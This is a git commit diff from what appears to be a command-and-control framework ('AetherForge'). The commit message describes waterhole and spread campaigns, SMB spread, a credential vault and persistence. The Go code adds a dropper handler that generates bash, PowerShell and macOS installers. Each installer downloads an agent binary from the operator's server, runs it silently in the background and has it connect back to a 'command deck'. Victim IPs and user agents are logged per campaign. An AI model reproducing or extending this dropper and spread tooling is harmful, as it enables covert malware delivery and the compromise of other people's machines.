feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
@@ -17,6 +17,9 @@ import (
|
||||
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
|
||||
// GET /install.sh — bash one-liner installer (Linux / macOS)
|
||||
// GET /install.ps1 — PowerShell one-liner installer (Windows)
|
||||
// GET /install.command — macOS double-click launcher (curl | bash wrapper)
|
||||
//
|
||||
// Query params: ?os=windows|linux|darwin|universal ?pin={build_id} ?c={campaign}
|
||||
type DropperHandler struct {
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
@@ -63,24 +66,70 @@ func detectPlatform(r *http.Request) string {
|
||||
return "" // caller will fall back to latest build regardless of platform
|
||||
}
|
||||
|
||||
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
|
||||
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
platform := detectPlatform(r)
|
||||
func (h *DropperHandler) logCampaign(r *http.Request, buildID, source string) {
|
||||
if c := r.URL.Query().Get("c"); c != "" {
|
||||
_ = h.db.LogCampaignHit(c, buildID, source, clientIP(r), r.UserAgent())
|
||||
}
|
||||
}
|
||||
|
||||
// Try exact platform match, then fall back to universal, then any.
|
||||
func dropperQueryParts(r *http.Request) []string {
|
||||
q := r.URL.Query()
|
||||
var parts []string
|
||||
if pin := strings.TrimSpace(q.Get("pin")); pin != "" {
|
||||
parts = append(parts, "pin="+pin)
|
||||
}
|
||||
if c := strings.TrimSpace(q.Get("c")); c != "" {
|
||||
parts = append(parts, "c="+c)
|
||||
}
|
||||
return parts
|
||||
}
|
||||
|
||||
func (h *DropperHandler) querySuffix(r *http.Request) string {
|
||||
parts := dropperQueryParts(r)
|
||||
if len(parts) == 0 {
|
||||
return ""
|
||||
}
|
||||
return "?" + strings.Join(parts, "&")
|
||||
}
|
||||
|
||||
func (h *DropperHandler) getExtraQuery(r *http.Request) string {
|
||||
parts := dropperQueryParts(r)
|
||||
if len(parts) == 0 {
|
||||
return ""
|
||||
}
|
||||
return "&" + strings.Join(parts, "&")
|
||||
}
|
||||
|
||||
// resolveDropperBuild picks a build from ?pin= or platform heuristics.
|
||||
func (h *DropperHandler) resolveDropperBuild(r *http.Request) (*models.BuildRecord, string, string) {
|
||||
if pin := strings.TrimSpace(r.URL.Query().Get("pin")); pin != "" {
|
||||
b, err := h.db.GetBuild(pin)
|
||||
if err == nil && b != nil {
|
||||
path, name := resolveDropperArtifact(h.dataDir, b)
|
||||
return b, path, name
|
||||
}
|
||||
}
|
||||
platform := detectPlatform(r)
|
||||
candidates := []string{platform, "universal", ""}
|
||||
if platform == "" {
|
||||
candidates = []string{"universal", ""}
|
||||
}
|
||||
|
||||
var buildPath, buildName string
|
||||
for _, p := range candidates {
|
||||
b, err := h.db.GetLatestBuildForPlatform(p)
|
||||
if err == nil && b != nil {
|
||||
buildPath, buildName = resolveDropperArtifact(h.dataDir, b)
|
||||
break
|
||||
path, name := resolveDropperArtifact(h.dataDir, b)
|
||||
return b, path, name
|
||||
}
|
||||
}
|
||||
return nil, "", ""
|
||||
}
|
||||
|
||||
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
|
||||
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
b, buildPath, buildName := h.resolveDropperBuild(r)
|
||||
if b != nil {
|
||||
h.logCampaign(r, b.ID, "get")
|
||||
}
|
||||
if buildPath == "" {
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
@@ -96,9 +145,18 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
http.ServeFile(w, r, buildPath)
|
||||
}
|
||||
|
||||
func campaignEnvBlock(campaign string) string {
|
||||
if campaign == "" {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf("export AETHER_CAMPAIGN=%q\nexport AETHER_UTM=%q\n", campaign, campaign)
|
||||
}
|
||||
|
||||
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
|
||||
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.resolveBase(r)
|
||||
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
|
||||
h.logCampaign(r, "", "install.sh")
|
||||
|
||||
script := fmt.Sprintf(`#!/bin/sh
|
||||
# AetherForge agent installer
|
||||
@@ -109,6 +167,7 @@ set -e
|
||||
|
||||
die() { echo "[!] $*" >&2; exit 1; }
|
||||
|
||||
%s
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$ARCH" in
|
||||
@@ -123,7 +182,7 @@ DEST="$TMPDIR/worker"
|
||||
|
||||
# Download and verify we got a real file, not a 404 page.
|
||||
# Note: double-quotes around URL so $OS is expanded by the shell.
|
||||
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS")"
|
||||
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS%[2]s")"
|
||||
if [ "$HTTP_CODE" != "200" ]; then
|
||||
cat "$DEST" >&2
|
||||
die "Server returned HTTP $HTTP_CODE — forge an agent first from the dashboard."
|
||||
@@ -152,7 +211,7 @@ chmod +x "$DEST"
|
||||
echo "[*] Launching agent..."
|
||||
nohup "$DEST" >/dev/null 2>&1 &
|
||||
echo "[+] Agent started (pid $!) — it will install itself and connect back to the command deck."
|
||||
`, base)
|
||||
`, base, h.getExtraQuery(r), campaignEnvBlock(campaign))
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
|
||||
@@ -162,16 +221,25 @@ echo "[+] Agent started (pid $!) — it will install itself and connect back to
|
||||
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
|
||||
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.resolveBase(r)
|
||||
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
|
||||
h.logCampaign(r, "", "install.ps1")
|
||||
|
||||
// Build script as a regular string — backtick in Go raw strings conflicts
|
||||
// with PowerShell's escape character.
|
||||
bt := "`"
|
||||
nl := "\r\n"
|
||||
|
||||
campaignBlock := ""
|
||||
if campaign != "" {
|
||||
campaignBlock = "$env:AETHER_CAMPAIGN = '" + campaign + "'" + nl +
|
||||
"$env:AETHER_UTM = '" + campaign + "'" + nl + nl
|
||||
}
|
||||
|
||||
script := "# AetherForge dropper" + nl +
|
||||
"$ErrorActionPreference = 'SilentlyContinue'" + nl +
|
||||
"$ProgressPreference = 'SilentlyContinue'" + nl + nl +
|
||||
"$url = '" + base + "/get?os=windows'" + nl +
|
||||
campaignBlock +
|
||||
"$url = '" + base + "/get?os=windows" + h.getExtraQuery(r) + "'" + nl +
|
||||
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
|
||||
"try {" + nl +
|
||||
" (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
|
||||
@@ -199,6 +267,25 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, script)
|
||||
}
|
||||
|
||||
// ServeCommand handles GET /install.command — macOS double-clickable shell script.
|
||||
func (h *DropperHandler) ServeCommand(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.resolveBase(r)
|
||||
suffix := h.querySuffix(r)
|
||||
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
|
||||
h.logCampaign(r, "", "install.command")
|
||||
|
||||
script := fmt.Sprintf(`#!/bin/bash
|
||||
# AetherForge macOS launcher — double-click or: curl -sL '%[1]s/install.command' | bash
|
||||
set -e
|
||||
%[2]s
|
||||
curl -sL '%[1]s/install.sh%[3]s' | bash
|
||||
`, base, campaignEnvBlock(campaign), suffix)
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.command"`)
|
||||
fmt.Fprint(w, script)
|
||||
}
|
||||
|
||||
// resolveBase returns the public base URL for script generation, falling back
|
||||
// to the request's Host header when no public URL is configured.
|
||||
func (h *DropperHandler) resolveBase(r *http.Request) string {
|
||||
|
||||
Reference in New Issue
Block a user